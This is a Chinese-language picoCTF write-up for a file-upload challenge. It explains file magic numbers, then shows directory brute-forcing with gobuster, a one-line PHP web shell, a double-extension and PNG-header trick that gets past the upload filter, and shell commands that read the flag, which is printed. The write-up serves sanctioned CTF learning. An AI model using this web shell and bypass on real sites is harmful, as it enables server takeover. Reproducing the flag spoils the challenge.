Whis is magic number?
Magic number 是放在檔案最開頭的一組固定位元組序列,作用就像檔案的「身分證」,讓作業系統或程式能快速辨識這個檔案到底是什麼類型,而不需要依賴副檔名。各種檔案格式的 magic number 如下:
| 檔案格式 | Magic Number (Hex) |
|---|---|
25 50 44 46 |
|
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| JPEG | FF D8 FF |
| ZIP (.docx, .xlsx 等) | 50 4B 03 04 |
| GIF | 47 49 46 38 |
| ELF (Linux 可執行檔) | 7F 45 4C 46 |
| Java .class | CA FE BA BE |
解題
開啟題目網頁
嘗試上傳隨意一張png圖片
看起來成功上傳了但我們沒辦法知道他上傳到哪裡,所以我們對其嘗試進行目錄爆破
gobuster dir -u "http://atlas.picoctf.net:65515" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
找到了一個可疑的路徑,嘗試連結發現是403,疑似上傳檔案存放的資料夾
嘗試在網址後面輸入我們剛剛上傳的檔名,發現是我們上傳的圖片
我們製作一個php並嘗試上傳
<?=`$_GET[0]`?>

Error: File name does not contain '.png'.
根據得到的錯誤訊息顯示黨名要包含.png,卻沒有特別說一定要加在檔名最後面,我們稍微修改檔名為rever.png.php再上傳看看

Error: The file is not a valid PNG image: 3c3f3d60
看起來有通過檔名驗證,但仍然被識別出來不是png上傳失敗,我們嘗試在php檔案裡加上png的magic number
header = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])
with open("rever.php", "rb") as f:
data = f.read()
with open("rever.php", "wb") as f:
f.write(header + data)
再次上傳發現疑似成功上傳了
接著我們嘗試執行指令確認是否成功
http://atlas.picoctf.net:56460/uploads/rever.png.php?0=id
成功後我們嘗試用ls尋找flag
http://atlas.picoctf.net:56460/uploads/rever.png.php?0=ls

http://atlas.picoctf.net:56460/uploads/rever.png.php?0=ls%20../
發現一個奇怪檔案查看,取得flag
http://atlas.picoctf.net:56460/uploads/rever.png.php?0=cat%20../GAZWIMLEGU2DQ.txt

取得flag
picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_03d1d548}
提交flag



說些什麼吧!